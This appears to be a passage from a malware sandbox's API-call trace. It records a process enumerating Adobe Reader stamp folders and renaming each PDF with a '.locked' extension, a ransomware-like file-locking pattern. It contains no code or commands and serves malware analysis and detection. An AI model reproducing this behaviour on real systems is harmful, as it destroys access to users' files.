FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3a7df00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd3a7df00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0081.725] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0081.764] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0081.861] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0081.865] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3c6d0e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd3c6d0e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0081.902] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0081.935] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0081.984] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0082.329] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0082.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0082.508] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0082.514] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd42acaa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd42acaa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0082.572] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0082.613] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0082.714] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0082.818] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd45804c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd45804c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0082.909] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0082.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0082.989] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0083.047] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0083.156] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0083.359] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0083.363] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4ab54e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd4ab54e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0083.422] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0083.465] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0083.513] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0083.562] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0083.674] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0083.782] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0083.787] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd4edfb60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd4edfb60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0083.830] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0083.863] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0083.910] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0083.958] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0084.068] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0084.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0084.153] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd524bb00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd524bb00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0084.279] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0084.312] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0084.362] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0084.442] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0084.641] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0084.947] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0084.950] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd59e2120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd59e2120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0085.015] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0085.055] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 